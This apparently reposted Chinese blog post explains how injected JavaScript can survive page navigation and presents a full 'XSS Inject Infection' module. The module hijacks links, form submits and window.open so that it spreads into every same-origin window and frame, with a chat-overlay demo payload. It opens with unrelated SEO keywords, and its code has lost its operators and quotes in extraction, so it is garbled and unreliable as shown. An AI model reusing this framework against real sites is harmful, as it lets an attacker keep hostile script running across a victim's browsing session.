在自己的网站做外链,wordpress 图片并列,广州企业网站建设开发,网站建设员工资首先需要了解一下几点#xff1a; 1.浏览器中Javascript变量的生命周期 Javascript变量的生命周期并不是你声明这个变量个窗口闭就被回收#xff0c;只要有引用就会一直持续到浏览器关闭。 2.window对象下方法会在在窗口被关闭时清掉#xff0c;比如#xff1a; window.set…首先需要了解一下几点 1.浏览器中Javascript变量的生命周期 Javascript变量的生命周期并不是你声明这个变量个窗口闭就被回收只要有引用就会一直持续到浏览器关闭。 2.window对象下方法会在在窗口被关闭时清掉比如 window.setTimeout(function(){alert(Hello)
},5000) 如果窗口被关掉了那么这个回调是不会执行的[事实上所有window所有的NativeCode都没办法用了]。 3.window.opener可以获取打开当前页面的窗口 4.window.open打开的窗口只要同域我们是可以操作的[拦截A标签然后用window.open打开这个页面就好啦] 5.跨域的窗口无法操作尝试修改document.domain直接异常 6.所有代码测试于Chrome浏览器未测试其他浏览器 下面是代码实现点击按钮可以立即体验 点我开启XSS /*** Created by AepKill on 2015-7-1 10:53:17* XSS Inject Infection*/
var XSS(function(){var MODULE_NAME$AePKiLL_XSS_MODULE_1_0_0;var TOOL{extend:function(){if (arguments.length0) return {};var result{};for(var i 0,larguments.length;il;i){for (var j in arguments[i]){result[j]arguments[i][j];}}return result;},//RunCodeinjectCode:function(win,code,args,self){if (! win.window win){return false;}try {win.Function(( code ).apply(this,arguments)).apply(self||win, args||[]);}catch(e){}return true;},dispatchMessage:function(winList,args){winList.getWinList().forEach(function(distWin){try{var messagedistWin[MODULE_NAME][Message];message.dispatch.apply(message,Array.prototype.slice.call(args));}catch(e){}})},sysDispatchMessage:function(winList,args){}};/*Message*/function Message(){//消息var messageList{};//消息订阅this.subscriptionfunction(msg){if (messageList[msg] undefined ){messageList[msg]new Array();}Array.prototype.slice.call(arguments,1).forEach(function(e){if (typeof e function) messageList[msg].push(e);});};//消息退订this.unsubscribefunction(msg){var msglistmessageList[msg];Array.prototype.slice.call(arguments,1).forEach(function(e){for (var i0;imsglist.length;i){if (msglist[i]e){msglist.splice(i,1);i--;}}});};//消息派送this.dispatchfunction(msg){var argsArray.prototype.slice.call(arguments,1);if (messageList[msg]){messageList[msg].forEach(function(e){e.apply(null,args);})}}}/*End With Message*//*WinList*/function CreateWinList(winList){function WinList(winList){var winListwinList.concat();this.deleteWindowfunction(win){for (var i 0,lwinList.length;il;i){if (winwinList[i]){winList.splice(i,1);break;}}};this.hasWindowfunction(win){return winList.indexOf(win)!-1;};this.addWindowfunction(win){if (this.hasWindow(win)) return ;winList.push(win);}this.getWinListfunction(){return winList.concat();};this.isEmptyfunction(){return winList.length0;};this.clearCloseWindowfunction(){winList.forEach(function(e,i){if (e.closed){winList.splice(i,1);}})}}WinList.prototypenew Message();return Object.freeze(new WinList(winList));}/*End With WinList*//*CoreModule*/function CoreModule(opt,winList,message,TOOL,globalObj){var windowthis;var _openwindow.open;var MODULE_NAME$AePKiLL_XSS_MODULE_1_0_0;window[MODULE_NAME]{};var modulewindow[MODULE_NAME];module[Message]message;if (module[RunCode] undefined) module[RunCode]false;window.openfunction(){var win_open.apply(this,arguments);if (win){winList.dispatch(windowJoin,win);window[openWin]win;};return win;};function afterLoad(){module[RunCode]true;TOOL.injectCode(window,opt.runCode,[winList,window,message,globalObj],opt);window.document.addEventListener(click,function(e){var el e.target;do{if (el.tagName A){e.preventDefault();e.stopPropagation();window.open(el.href);break;}elel.parentNode;}while(el!document)});window.document.addEventListener(submit, function(e){var name Math.random().toString();open(, name);var form e.target;form.target name;});window.addEventListener(unload, function( event ) {winList.dispatch(windowQuit,window,event);});};window.addEventListener(DOMContentLoaded,function(){if (module[RunCode]false) afterLoad();});setTimeout(function(){if (module[RunCode]false) afterLoad();},1000);}/*End With CoreModule*/var defaults{runCode:function(winList,win,message,global){/** winList 当前所有感染窗口的列表* win 执行代码环境的window对象* message 消息队列 可订阅、发送消息* global 全局对象* 说明runCode在每个窗口都会执行一次* */console.log(汪汪汪------);}}return function(opt){var winListCreateWinList([]);optTOOL.extend(defaults,opt||{});var globalObjObject.freeze({dispatch:function(){TOOL.dispatchMessage(winList,arguments);},getWinList:function(){return winList.getWinList();},data:{}});winList.subscription(windowJoin,function(win){if (!win.window || win.closed) return ;winList.clearCloseWindow();var messagenew Message();TOOL.injectCode(win,CoreModule,[opt,winList,message,TOOL,globalObj],win);globalObj.dispatch(windowJoin,win);winList.addWindow(win);//console.log(JOIN,winList.getWinList().length);});winList.subscription(windowQuit,function(win,event){winList.clearCloseWindow();if (winList.hasWindow(win)){winList.deleteWindow(win);}else{return;}globalObj.dispatch(windowQuit,win);if (!winList.isEmpty()){var herowinList.getWinList()[0];TOOL.injectCode(hero,function(winList,win){setTimeout(function(){winList.dispatch(windowJoin,win);},500);},[winList,win]);}});//从iframe中往上遍历if (window.top ! window.self){var win window;while (win win.parent) {}winList.dispatch(windowJoin,win);}else{winList.dispatch(windowJoin,window);}//遍历打开的窗口var temp1window.opener;while(temp1){winList.dispatch(windowJoin,temp1);temp1temp1.opener;};};
})();XSS({runCode:function(winList,win,message,global) {var windowwin;function code() {var strVar ;strVar ;strVar h1 style\color: #ccc;text-align: center;height: 30px;line-height: 30px;padding: 5px;margin: 0px;\XSS Inject\/h1;strVar p idshowBoxstyle\color:#fff;height: 298px;width: 580px;margin: 10px;border: 1px solid rgba(88,88,88,0.8);border-radius: 5px;overflow-x:hidden\;strVar ;strVar \/p;strVar form style\width: 580px;margin: 10px;\ id\form1\;strVar textarea name\content\style\outline: none;height: 60px;width: 70%;resize:none\\/textarea;strVar button style\outline: none;height: 60px;width: 20%;margin-left: 2%;vertical-align: top\广播信息\/button;strVar \/form;var css ;css position:fixed;;css z-index:99999999;;css left:50%;;css top:50%;;css height50%;;css margin-left:-300px;;css margin-top:-225px;;css height: 450px;;css width: 600px;;css border-radius: 10px;;css box-shadow:0 0 10px 0 rgba(88,88,88,0.8);;css background:rgba(88,88,88,0.8) ;var divdocument.createElement(div);div.style.cssTextcss;div.innerHTMLstrVar;document.body.appendChild(div);var textdocument.querySelector(#showBox);function appendText(txt){text.innerHTMLtxtbr/;}document.querySelector(#form1).οnsubmitfunction(e){appendText(我说this[content].value)global.dispatch(Say, window,[document.title] 说 this[content].value);e.stopPropagation();e.preventDefault();return false;}appendText([document.title] 页面被注入了代码);message.subscription(Say,function(win,message){if (win!window) appendText(message);});message.subscription(windowJoin,function(win){appendText([win.document.title] 页面被注入了代码);});message.subscription(windowQuit,function(win){appendText([win.document.title] 页面被关闭了);});var imgListwindow.document.querySelectorAll(img);var count0;var timerwindow.setInterval(function(){appendText(我说我给大家发图片了 img src (imgList[count]).getAttribute(src)/ )global.dispatch(Say, window,[document.title] 说我给大家发图片了 img src (imgList[count]).getAttribute(src)/ );if (countimgList){clearInterval(timer);}},2000);}if (document.body) {code();} else {window.addEventListener(DOMContentLoaded, code);}}
}); 转载于:https://www.cnblogs.com/aepkill/p/4614888.html
